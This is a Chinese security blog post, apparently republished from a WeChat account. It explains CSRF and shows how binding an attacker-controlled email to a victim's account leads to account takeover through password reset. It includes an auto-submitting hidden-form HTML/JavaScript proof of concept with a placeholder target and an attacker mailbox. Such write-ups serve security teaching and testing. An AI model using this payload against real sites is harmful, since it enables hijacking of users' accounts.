搜文章
推荐 原创 视频 Java开发 iOS开发 前端开发 JavaScript开发 Android开发 PHP开发 数据库 开发工具 Python开发 Kotlin开发 Ruby开发 .NET开发 服务器运维 开放平台 架构师 大数据 云计算 人工智能 开发语言 其它开发
Lambda在线 > 云天网络空间安全 > 技术篇|看我如何利用CSRF获得账号控制权

技术篇|看我如何利用CSRF获得账号控制权

云天网络空间安全 2018-07-01
云天安全
数据驱动安全,智能改变世界
技术篇|看我如何利用CSRF获得账号控制权


技术篇|看我如何利用CSRF获得账号控制权


CSRF是比较常见的Web漏洞。CSRF (Cross-site request forgery) :跨站点请求伪造。可以这样理解,比如进行购买商品、密码修改等操作时,需要向服务端发送请求,用户只可以对自己账号进行此类操作。构造一个购买、修改请求,发送给其他用户点击,这样只要有用户点击,就会以当前登录账号的身份去发送该请求,从而在用户不知情的情况下进行购买、修改密码的操作。


以下场景中的CSRF 漏洞容易造成很大的危害:


1. 账号修改密码

2. 购买商品

3. 资金转账

4. 添加系统管理员

5. 发送邮件


目前很多网站,都会使用邮箱或者手机号进行注册、登录。当注册成功后,账号会和邮箱、手机号进行绑定,也就是说通过绑定的手机号或者邮箱都可以进行登录账号,登录账号会有类似如下的操作:


技术篇|看我如何利用CSRF获得账号控制权


在测试中,我发现了两处开发容易忽略并且可产生较大危害的漏洞。实际验证时发现很多网站都存在此问题,分别存在于绑定邮箱和绑定手机号码处。


绑定邮箱处:

输入邮箱会发送验证链接到此邮箱进行账号验证,以确认此邮箱是否为本人的邮箱。


技术篇|看我如何利用CSRF获得账号控制权


技术篇|看我如何利用CSRF获得账号控制权



点击此链接,邮箱和账号即可绑定


通过邮箱请求构造表单poc


<html>

  <body>

    <form id=”email” action="xxx" method="POST">

      <input type="hidden" name="revicer" value="1111@qq.com" />

      <input type="hidden" name="loginName" value="" />

      <input type="hidden" name="gender" value="" />

      <input type="submit" value="Submit request" />

    </form>

  </body>

</html>

<script>

var form = document.getElementById(‘email’);

form.submit();

</script>


诱使用户点击,会发送邮件到1111@qq.com,也就是攻击者的邮箱,然后登录邮箱点击绑定链接即可绑定被攻击者的账号,使用邮箱进行重置密码,即可获得用户账号权限。


版权声明:本站内容全部来自于腾讯微信公众号,属第三方自助推荐收录。《技术篇|看我如何利用CSRF获得账号控制权》的版权归原作者「山东云天安全订阅号」所有,文章言论观点不代表Lambda在线的观点, Lambda在线不承担任何法律责任。如需删除可联系QQ:516101458

文章来源: 阅读原文

相关阅读

关注山东云天安全订阅号微信公众号

山东云天安全订阅号微信公众号:gh_167ef32297cc

山东云天安全订阅号

手机扫描上方二维码即可关注山东云天安全订阅号微信公众号

山东云天安全订阅号最新文章

精品公众号随机推荐